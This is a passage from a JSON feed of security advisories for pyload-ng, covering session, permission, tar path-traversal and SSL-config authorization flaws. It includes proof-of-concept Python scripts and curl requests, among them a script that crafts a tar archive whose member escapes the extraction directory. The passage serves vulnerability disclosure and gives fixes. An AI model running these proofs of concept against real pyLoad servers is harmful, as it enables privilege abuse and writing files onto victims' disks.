response.headers.remove('Set-Cookie')\n        for cookie in cookies:\n            if is_secure and 'Secure' not in cookie:\n                cookie += '; Secure'\n            response.headers.add('Set-Cookie', cookie)\n    return response\n\n# Option B (preferred): Use Werkzeug's ProxyFix with explicit trust\nfrom werkzeug.middleware.proxy_fix import ProxyFix\n\n# In App.__new__, before returning:\nif trusted_proxy_count:  # from config\n    app.wsgi_app = ProxyFix(app.wsgi_app, x_proto=trusted_proxy_count)\n# Then set SESSION_COOKIE_SECURE once at startup based on use_ssl config,\n# and let ProxyFix handle X-Forwarded-Proto transparently\n```\n\nAt minimum, remove the `before_request` handler entirely and set `SESSION_COOKIE_SECURE` once at startup (line 130 already does this in `_configure_session`). The dynamic per-request adjustment is the root cause of both the spoofing and the race condition.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-16T01:20:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-mp82-fmj6-f22v","https://nvd.nist.gov/vuln/detail/CVE-2026-40594","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-125.yaml","https://github.com/advisories/GHSA-mp82-fmj6-f22v"],"source_kind":"github","identifiers":["GHSA-mp82-fmj6-f22v","CVE-2026-40594"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T02:00:11.926Z","updated_at":"2026-07-12T11:01:38.128Z","epss_percentage":0.00171,"epss_percentile":0.06668,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcDgyLWZtajYtZjIyds4ABVWw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcDgyLWZtajYtZjIyds4ABVWw","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev98","vulnerable_version_range":"\u003c= 0.5.0b3.dev97"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcDgyLWZtajYtZjIyds4ABVWw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1majUyLTVnNGgtZ21xOM4ABVTr","url":"https://github.com/advisories/GHSA-fj52-5g4h-gmq8","title":"pyLoad's Session Not Invalidated After Permission Changes","description":"### Summary\nThe `pyload` application does not properly invalidate or modify sessions upon changes made to a user's permissions.\n\n### Details\nWhenever an administrator changes the permissions a specific account has, they do not expect that account still being able to access data that their new permissions do not allow. This is not the case for the `pyload` application, as a user with a valid session can still perform the actions.\n\n### PoC\nTake a user with all the permissions, as shown below.\n![image](https://user-images.githubusercontent.com/44903767/294956335-0e4da84f-bf9a-42c8-87f1-f5ff35967c63.png)\n\nWe now log in as this user.\n![image](https://user-images.githubusercontent.com/44903767/294956539-ac6805fe-957d-4289-8ca9-2f3b6b2878a3.png)\n\nLet us now take away all the permissions.\n![image](https://user-images.githubusercontent.com/44903767/294956689-757e6e08-03fd-42eb-b4a5-1ceefa6c24ed.png)\n\nThe logged in session can still be used to access everything in the application.\n![image](https://user-images.githubusercontent.com/44903767/294956943-fa0f23c0-a28c-4eed-89d6-1cc074feda6d.png)\n\n### Impact\nShould permissions be taken away, then the user is expected not to be able to execute the actions belonging to those actions anymore.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-14T23:39:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/pyload/pyload/security/advisories/GHSA-fj52-5g4h-gmq8","https://github.com/pyload/pyload/commit/e95804fb0d06cbb07d2ba380fc494d9ff89b68c1","https://github.com/advisories/GHSA-fj52-5g4h-gmq8"],"source_kind":"github","identifiers":["GHSA-fj52-5g4h-gmq8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-15T00:00:14.597Z","updated_at":"2026-07-12T11:01:39.150Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majUyLTVnNGgtZ21xOM4ABVTr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1majUyLTVnNGgtZ21xOM4ABVTr","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev97"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majUyLTVnNGgtZ21xOM4ABVTr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Nmh4LWNoZjctMzMzMs4ABVTq","url":"https://github.com/advisories/GHSA-66hx-chf7-3332","title":"pyLoad has Stale Session Privilege After Role/Permission Change (Privilege Revocation Bypass)","description":"### Summary\npyLoad caches `role` and `permission` in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database.\n\nAs a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions.\n\nThis is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature.\n\n### Details\nThe WebUI auth flow stores authorization state in session:\n\n- `src/pyload/webui/app/helpers.py:187-200`\n  - `set_session(...)` writes:\n    - `\"role\": user_info[\"role\"]`\n    - `\"perms\": user_info[\"permission\"]`\n\nAuthorization checks later trust cached session values:\n\n- `src/pyload/webui/app/helpers.py:134-151`\n  - `parse_permissions(...)` reads `session.get(\"role\")` / `session.get(\"perms\")`\n- `src/pyload/webui/app/helpers.py:225-230`\n  - `is_authenticated(...)` only verifies `authenticated` and `api.user_exists(user)` (existence), not fresh role/permission\n- `src/pyload/webui/app/helpers.py:267-275`\n  - `login_required(...)` uses `parse_permissions(s)` for allow/deny decisions\n- `src/pyload/webui/app/helpers.py:356-365`\n  - API session auth path also trusts `s[\"role\"]` and `s[\"perms\"]`\n\nRole/permission updates are written to DB but active sessions are not invalidated/refreshed:\n\n- `src/pyload/webui/app/blueprints/json_blueprint.py:389-434`\n  - `update_users(...)` calls `api.set_user_permission(...)` and returns\n- `src/pyload/core/api/__init__.py:1643-1645`\n  - `set_user_permission(...)` updates DB role/permission only\n\nDefault exposure window is long:\n\n- `src/pyload/core/config/default.cfg:47`\n  - `session_lifetime = 44640` minutes (~31 days)\n\nTherefore, privilege revocation is not enforced immediately for active sessions.\n\nNote on duplicates:\n- This appears distinct from CVE-2023-0227 (session validity after **user deletion**) because this report is about stale authorization after **role/permission changes** while the user still exists.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nRepro: stale session privilege after role/permission changes.\n\nThis PoC is source-based and leaves no persistent state.\nIt validates that:\n1) Role/permission are cached into session at login.\n2) Authorization checks read role/permission from session, not fresh DB values.\n3) User updates write DB permission/role without invalidating active sessions.\n4) Default session lifetime is long, increasing stale-privilege exposure window.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport pathlib\nimport re\nfrom typing import Iterable\n\n\nROOT = pathlib.Path(__file__).resolve().parent / \"pyload\" / \"src\" / \"pyload\"\n\n\ndef read(rel: str) -\u003e str:\n    return (ROOT / rel).read_text(encoding=\"utf-8\")\n\n\ndef has_any(text: str, patterns: Iterable[str]) -\u003e bool:\n    return all(re.search(p, text, re.MULTILINE) for p in patterns)\n\n\ndef main() -\u003e None:\n    helpers = read(\"webui/app/helpers.py\")\n    json_blueprint = read(\"webui/app/blueprints/json_blueprint.py\")\n    api_init = read(\"core/api/__init__.py\")\n    default_cfg = (ROOT / \"core/config/default.cfg\").read_text(encoding=\"utf-8\")\n\n    checks = {\n        \"set_session_caches_role_perms\": has_any(\n            helpers,\n            [\n                r'def\\\\s+set_session\\\\(',\n                r'\"role\"\\\\s*:\\\\s*user_info\\\\[\"role\"\\\\]',\n                r'\"perms\"\\\\s*:\\\\s*user_info\\\\[\"permission\"\\\\]',\n            ],\n        ),\n        \"is_authenticated_only_checks_user_exists\": has_any(\n            helpers,\n            [\n                r'def\\\\s+is_authenticated\\\\(',\n                r'api\\\\s*=\\\\s*flask\\\\.current_app\\\\.config\\\\[\"PYLOAD_API\"\\\\]',\n                r'return\\\\s+authenticated\\\\s+and\\\\s+api\\\\.user_exists\\\\(user\\\\)',\n            ],\n        ),\n        \"parse_permissions_reads_session_cache\": has_any(\n            helpers,\n            [\n                r'def\\\\s+parse_permissions\\\\(',\n                r'session\\\\.get\\\\(\"role\"\\\\)\\\\s*==\\\\s*Role\\\\.ADMIN',\n                r'session\\\\.get\\\\(\"perms\"\\\\)',\n            ],\n        ),\n        \"login_required_uses_parse_permissions_session\": has_any(\n            helpers,\n            [\n                r'def\\\\s+login_required\\\\(',\n                r'if\\\\s+is_authenticated\\\\(s\\\\):',\n                r'perms\\\\s*=\\\\s*parse_permissions\\\\(s\\\\)',\n            ],\n        ),\n        \"api_session_auth_uses_cached_role_perms\": has_any(\n            helpers,\n            [\n                r'if\\\\s+is_authenticated\\\\(s\\\\):',\n                r'\"role\"\\\\s*:\\\\s*s\\\\[\"role\"\\\\]',\n                r'\"permission\"\\\\s*:\\\\s*s\\\\[\"perms\"\\\\]',\n            ],\n        ),\n        \"update_users_changes_db_without_session_invalidation\": has_any(\n            json_blueprint,\n            [\n                r'def\\\\s+update_users\\\\(',\n                r'api\\\\.set_user_permission\\\\(name,\\\\s*data\\\\[\"permission\"\\\\],\\\\s*data\\\\[\"role\"\\\\]\\\\)',\n                r'return\\\\s+jsonify\\\\(True\\\\)',\n            ],\n        ),\n        \"set_user_permission_only_updates_db\": has_any(\n            api_init,\n            [\n                r'def\\\\s+set_user_permission\\\\(',\n                r'self\\\\.pyload\\\\.db\\\\.set_permission\\\\(user,\\\\s*permission\\\\)',\n                r'self\\\\.pyload\\\\.db\\\\.set_role\\\\(user,\\\\s*role\\\\)',\n            ],\n        ),\n        \"default_session_lifetime_long\": re.search(\n            r'session_lifetime\\\\s*:\\\\s*\"Session lifetime \\\\(minutes\\\\)\"\\\\s*=\\\\s*44640',\n            default_cfg,\n            re.MULTILINE,\n        )\n        is not None,\n    }\n\n    for name, ok in checks.items():\n        print(f\"{name}={ok}\")\n\n    stale_privilege_repro_success = all(checks.values())\n    print(f\"stale_privilege_repro_success={stale_privilege_repro_success}\")\n\n    # Cleanup: this PoC creates/modifies no runtime/data files.\n    print(\"cleanup_done=True\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```text\nset_session_caches_role_perms=True\nis_authenticated_only_checks_user_exists=True\nparse_permissions_reads_session_cache=True\nlogin_required_uses_parse_permissions_session=True\napi_session_auth_uses_cached_role_perms=True\nupdate_users_changes_db_without_session_invalidation=True\nset_user_permission_only_updates_db=True\ndefault_session_lifetime_long=True\nstale_privilege_repro_success=True\ncleanup_done=True\n```\n\n### Impact\n- Privilege revocation is not immediate for active sessions.\n- A user can continue using stale, previously granted privileges (including admin) after downgrade/restriction.\n- This can allow continued access to privileged WebUI/API actions until session expiry or manual logout/session reset.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-14T23:38:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-66hx-chf7-3332","https://github.com/pyload/pyload/commit/e95804fb0d06cbb07d2ba380fc494d9ff89b68c1","https://nvd.nist.gov/vuln/detail/CVE-2026-41133","https://github.com/advisories/GHSA-66hx-chf7-3332"],"source_kind":"github","identifiers":["GHSA-66hx-chf7-3332","CVE-2026-41133"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-15T00:00:14.597Z","updated_at":"2026-09-19T09:03:56.951Z","epss_percentage":0.00325,"epss_percentile":0.25506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Nmh4LWNoZjctMzMzMs4ABVTq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Nmh4LWNoZjctMzMzMs4ABVTq","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev97"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Nmh4LWNoZjctMzMzMs4ABVTq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZmdoLTYzbWctOHB3bc4ABU3r","url":"https://github.com/advisories/GHSA-rfgh-63mg-8pwm","title":"pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions","description":"### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'attacker'\n\n    def order_package(self, pack_id, pos):\n        self.calls.append(('order_package', int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'attacker'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.ADD)\n\n    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'u'\n\n    def stop_downloads(self, ids):\n        self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'u'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.DELETE)\n\n    r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T00:18:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm","https://nvd.nist.gov/vuln/detail/CVE-2026-40071","https://github.com/advisories/GHSA-rfgh-63mg-8pwm"],"source_kind":"github","identifiers":["GHSA-rfgh-63mg-8pwm","CVE-2026-40071"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.369Z","updated_at":"2026-09-19T09:04:11.064Z","epss_percentage":0.00219,"epss_percentile":0.12512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZmdoLTYzbWctOHB3bc4ABU3r","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZmdoLTYzbWctOHB3bc4ABU3r","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZmdoLTYzbWctOHB3bc4ABU3r/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdnd4LTU4MmYtNTZyN84ABU3H","url":"https://github.com/advisories/GHSA-mvwx-582f-56r7","title":"pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass","description":"## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 — CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 — VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads/pkg'` — **equals the directory, check passes**\n- `commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads'` — **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) → `extract_queued()` → `UnTar.extract()` (line 76) → `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = '/tmp/test_extraction_dir'\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:\n    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')\n    data = b'escaped the sandbox!'\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open('/tmp/evil.tar.gz') as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f'Member: {member.name}')\n        print(f'Resolved: {os.path.abspath(member_path)}')\n        print(f'Check passes (should be False): {bypassed}')\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f'File escaped to: {escaped_file}')\nprint(f'Content: {open(escaped_file).read()}')\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users' downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T00:04:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7","https://nvd.nist.gov/vuln/detail/CVE-2026-35592","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-124.yaml","https://github.com/advisories/GHSA-mvwx-582f-56r7"],"source_kind":"github","identifiers":["GHSA-mvwx-582f-56r7","CVE-2026-35592"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.374Z","updated_at":"2026-07-12T11:01:49.250Z","epss_percentage":0.00255,"epss_percentile":0.16636,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdnd4LTU4MmYtNTZyN84ABU3H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdnd4LTU4MmYtNTZyN84ABU3H","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev97","vulnerable_version_range":"\u003c 0.5.0b3.dev97"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdnd4LTU4MmYtNTZyN84ABU3H/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcHZ4LXJ3aDktN3JqN84ABU3G","url":"https://github.com/advisories/GHSA-ppvx-rwh9-7rj7","title":"pyload-ng: Authorization Bypass for SSL Certificate/Key Configuration Due to Option Name Mismatch in pyload-ng","description":"## Summary\n\nThe `ADMIN_ONLY_CORE_OPTIONS` authorization set in `set_config_value()` uses incorrect option names `ssl_cert` and `ssl_key`, while the actual configuration option names are `ssl_certfile` and `ssl_keyfile`. This name mismatch causes the admin-only check to always evaluate to False, allowing any user with SETTINGS permission to overwrite the SSL certificate and key file paths. Additionally, the `ssl_certchain` option was never added to the admin-only set at all.\n\n## Details\n\nThe vulnerability is in `src/pyload/core/api/__init__.py`. The `ADMIN_ONLY_CORE_OPTIONS` set is defined at lines 237-248:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"),\n    (\"proxy\", \"username\"),\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_cert\"),      # BUG: should be \"ssl_certfile\"\n    (\"webui\", \"ssl_key\"),       # BUG: should be \"ssl_keyfile\"\n    (\"webui\", \"use_ssl\"),\n}\n# NOTE: (\"webui\", \"ssl_certchain\") is entirely missing\n```\n\nThe actual config option names are defined in `src/pyload/core/config/default.cfg:39-41`:\n\n```\nfile ssl_certfile : \"SSL Certificate\" = ssl.crt\nfile ssl_keyfile : \"SSL Key\" = ssl.key\nfile ssl_certchain : \"CA's intermediate certificate bundle (optional)\" =\n```\n\nThe authorization check at line 267 compares the incoming `(category, option)` tuple against this set:\n\n```python\nif (category, option) in ADMIN_ONLY_CORE_OPTIONS and not is_admin:\n    self.pyload.log.error(...)\n    return\n```\n\nWhen a request arrives with `option=ssl_certfile`, the check evaluates `(\"webui\", \"ssl_certfile\") in ADMIN_ONLY_CORE_OPTIONS` which is **False** because the set contains `(\"webui\", \"ssl_cert\")`, not `(\"webui\", \"ssl_certfile\")`. The admin-only guard is bypassed and `config.set()` at line 271 proceeds to write the attacker-supplied value.\n\nThe value is cast as a `file` type in `parser.py:300-305`, which resolves it via `os.path.realpath()` but performs no further validation:\n\n```python\nelif typ in (\"file\", \"folder\"):\n    return (\n        \"\"\n        if value in (None, \"\")\n        else os.path.realpath(os.path.expanduser(os.fsdecode(value)))\n    )\n```\n\nOn server restart with SSL enabled, the webserver loads the attacker-controlled paths (`webserver_thread.py:22-23,51-52`):\n\n```python\nself.certfile = self.pyload.config.get(\"webui\", \"ssl_certfile\")\nself.keyfile = self.pyload.config.get(\"webui\", \"ssl_keyfile\")\n# ...\nself.server.ssl_adapter = BuiltinSSLAdapter(\n    self.certfile, self.keyfile, self.certchain\n)\n```\n\n## PoC\n\nPrerequisites: A pyLoad instance with SSL enabled and a non-admin user account that has SETTINGS permission.\n\n**Step 1:** Authenticate as the non-admin user to get a session cookie:\n```bash\ncurl -c cookies.txt -X POST 'http://localhost:8000/login' \\\n  -d 'username=settingsuser\u0026password=password123'\n```\n\n**Step 2:** Set the SSL certificate to an attacker-controlled file path:\n```bash\ncurl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \\\n  -H 'Content-Type: application/json' \\\n  -d 